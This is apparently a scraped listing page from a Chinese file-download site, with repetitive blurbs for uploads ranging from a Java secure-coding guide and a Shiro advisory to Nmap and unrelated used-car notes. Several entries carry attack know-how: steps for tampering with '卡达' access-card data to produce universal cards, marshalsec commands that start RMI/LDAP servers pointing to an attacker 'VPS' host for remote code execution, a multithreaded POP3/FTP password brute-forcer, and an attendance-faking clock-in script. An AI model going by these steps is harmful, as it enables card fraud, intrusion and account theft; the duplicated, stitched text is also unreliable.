《Java语言编程规范下卷安全篇》针对Java语言编程中的输入校验、异常行为、IO操作、序列化和反序列化、平台安全与运行安全等方面，描述可能导致安全漏洞或风险的常见编码错误。
该规范基于业界最佳实践，参考业界安全编码规范相关著作，例如TheCertSecureCodingStandardforJava、SunSecureCodingGuidelinesfortheJavaProgrammingLanguage、CWE/SANSTOP25和OWASPGuideProject，并总结了公司内部的编程实践。
该规范旨在减少SQL注入、敏感信息泄露、格式化字符串攻击、命令注入攻击、目录遍历等安全问题的发生。
该规范基于业界最佳实践，参考业界安全编码规范相关著作，例如TheCertSecureCodingStandardforJava、SunSecureCodingGuidelinesfortheJavaProgrammingLanguage、CWE/SANSTOP25和OWASPGuideProject，并总结了公司内部的编程实践。
该规范旨在减少SQL注入、敏感信息泄露、格式化字符串攻击、命令注入攻击、目录遍历等安全问题的发生。
2024/5/3 13:39:35
286KB
1
漏洞扫描就是对计算机系统或者其它网络设备进行安全相关的检测，以找出安全隐患和可被黑客利用的漏洞。
显然，漏洞扫描软件是把双刃剑，黑客利用它入侵系统，而系统管理员掌握它以后又可以有效的防范黑客入侵。
因此，漏洞扫描是保证系统和网络安全必不可少的手段，必须仔细研究利用。
漏洞扫描通常采用两种策略，第一种是被动式策略，第二种是主动式策略。
所谓被动式策略就是基于主机之上，对系统中不合适的设置，脆弱的口令以及其他同安全规则抵触的对象进行检查；
而主动式策略是基于网络的，它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞。
利用被动式策略扫描称为系统安全扫描，利用主动式策略扫描称为网
显然，漏洞扫描软件是把双刃剑，黑客利用它入侵系统，而系统管理员掌握它以后又可以有效的防范黑客入侵。
因此，漏洞扫描是保证系统和网络安全必不可少的手段，必须仔细研究利用。
漏洞扫描通常采用两种策略，第一种是被动式策略，第二种是主动式策略。
所谓被动式策略就是基于主机之上，对系统中不合适的设置，脆弱的口令以及其他同安全规则抵触的对象进行检查；
而主动式策略是基于网络的，它通过执行一些脚本文件模拟对系统进行攻击的行为并记录系统的反应，从而发现其中的漏洞。
利用被动式策略扫描称为系统安全扫描，利用主动式策略扫描称为网
2024/4/30 14:02:51
246KB
1
卡达6系统数据改法有漏洞，把所有数据都写满后把所有控制位改为0F078F69这样就会把滚动位压制住所以改完的卡就都是通卡，数据都是加密的，用城市立方数据往里套就行了。
图片上画红线的位置替代。
用CUID写卡，UID写卡数据容易泄露！卡达5.6.7区分所有卡达系统看2扇区0块20开头都是卡达系统，卡达5看2扇区1块日期明码可以直接改无校验，卡达6.7日期暗码加密字母之类的，6.7数据非常像！
图片上画红线的位置替代。
用CUID写卡，UID写卡数据容易泄露！卡达5.6.7区分所有卡达系统看2扇区0块20开头都是卡达系统，卡达5看2扇区1块日期明码可以直接改无校验，卡达6.7日期暗码加密字母之类的，6.7数据非常像！
2024/4/28 21:52:12
15.95MB
1
1.发达国家的二手车市场有哪些特点?日本：卫星系统构成交易网、每天交易数万辆二手车、诚信交易由体制来保证、交易范围“从摇篮到坟墓”、日本二手车的一切修复历史都要如实告知车主。
美国：美国二手车销量大于新车销量且价格低廉、权威机构评估车价，社会认证堵塞漏洞、交易方式灵活、售后服务解除后顾之忧，过户手续方便快捷。
2.我国二手车市场存在哪些问题?1）缺少统一管理和整体规划2）评估体系不健全3）二手车售后服务问题多4）开展汽车置换步履维艰5）买卖双方信息不对称
美国：美国二手车销量大于新车销量且价格低廉、权威机构评估车价，社会认证堵塞漏洞、交易方式灵活、售后服务解除后顾之忧，过户手续方便快捷。
2.我国二手车市场存在哪些问题?1）缺少统一管理和整体规划2）评估体系不健全3）二手车售后服务问题多4）开展汽车置换步履维艰5）买卖双方信息不对称
2024/4/21 14:09:49
19KB
1
Nmap是一款网络扫描和主机检测的非常有用的工具。
Nmap是不局限于仅仅收集信息和枚举，同时可以用来作为一个漏洞探测器或安全扫描器。
这个是Windows版本。
Nmap是不局限于仅仅收集信息和枚举，同时可以用来作为一个漏洞探测器或安全扫描器。
这个是Windows版本。
2024/4/18 16:06:55
26.26MB
1
功能简介如下：1、用于检测POP3/FTP主机中用户密码安全漏洞。
2、163/169双通。
3、多线程检测，消除系统中密码漏洞。
4、高效的用户流模式。
5、高效服务器流模式，可同时对多台POP3/FTP主机进行检测。
6、最多500个线程探测。
7、线程超时设置，阻塞线程具有自杀功能，不会影响其他线程。
8、支持10个字典同时检测。
9、检测设置可作为项目保存。
10、取消了国内IP限制而且免费
2、163/169双通。
3、多线程检测，消除系统中密码漏洞。
4、高效的用户流模式。
5、高效服务器流模式，可同时对多台POP3/FTP主机进行检测。
6、最多500个线程探测。
7、线程超时设置，阻塞线程具有自杀功能，不会影响其他线程。
8、支持10个字典同时检测。
9、检测设置可作为项目保存。
10、取消了国内IP限制而且免费
2024/4/13 12:19:42
4.46MB
1
MoritzBechler编写，源码地址为：https://github.com/mbechler/marshalsec，下载下来之后使用maven编译，此工具为编译好的jar包，方便没有编译环境的同学们直接jar包开启ldap和rmi服务开启rmi服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.RMIRefServerhttp://VPS/ExportObject1099开启ldap服务java-cpmarshalsec-0.0.3-SNAPSHOT-all.jarmarshalsec.jndi.LDAPRefServerhttp://VPS/ExportObject1389我使用这个来测试springbootjolokia的远程命令执行，也可以测试struts2S系列的漏洞
2024/4/11 14:27:31
40.52MB
1
ApacheShiro是一个应用广泛的权限管理的用户认证与授权框架。
近日，shiro被爆出ApacheShiro身份验证绕过漏洞(CVE-2020-11989)，攻击者可以使用包含payload的恶意请求绕过Shiro的身份认证，漏洞于1.5.3修复。
实际上，这个修复并不完全，由于shiro在处理url时与spring仍然存在差异，shiro最新版仍然存在身份校验绕过漏洞。
2020年8月17日，ApacheShiro发布1.6.0版本修复该漏洞绕过。
阿里云应急响应中心提醒ApacheShiro用户尽快采取安全措施阻止漏洞攻击。
近日，shiro被爆出ApacheShiro身份验证绕过漏洞(CVE-2020-11989)，攻击者可以使用包含payload的恶意请求绕过Shiro的身份认证，漏洞于1.5.3修复。
实际上，这个修复并不完全，由于shiro在处理url时与spring仍然存在差异，shiro最新版仍然存在身份校验绕过漏洞。
2020年8月17日，ApacheShiro发布1.6.0版本修复该漏洞绕过。
阿里云应急响应中心提醒ApacheShiro用户尽快采取安全措施阻止漏洞攻击。
2024/4/1 9:21:13
404KB
1
在日常工作中，钉钉打卡成了我生活中不可或缺的一部分。然而，有时候这个看似简单的任务却给我带来了不少烦恼。
每天早晚，我总是得牢记打开钉钉应用，点击"工作台"，再找到"考勤打卡"进行签到。有时候因为工作忙碌，会忘记打卡，导致考勤异常，影响当月的工作评价。而且，由于我使用的是苹果手机，有时候系统更新后，钉钉的某些功能会出现异常，使得打卡变得更加麻烦。
另外，我的家人使用的是安卓手机，他们也经常抱怨钉钉打卡的繁琐。尤其是对于那些不太熟悉手机操作的长辈来说，每次打卡都是一次挑战。他们总是担心自己会操作失误，导致打卡失败。
为了解决这些烦恼，我开始思考是否可以通过编写一个全自动化脚本来实现钉钉打卡。经过一段时间的摸索和学习，我终于成功编写出了一个适用于苹果和安卓系统的钉钉打卡脚本。
2024-04-09 15:03
15KB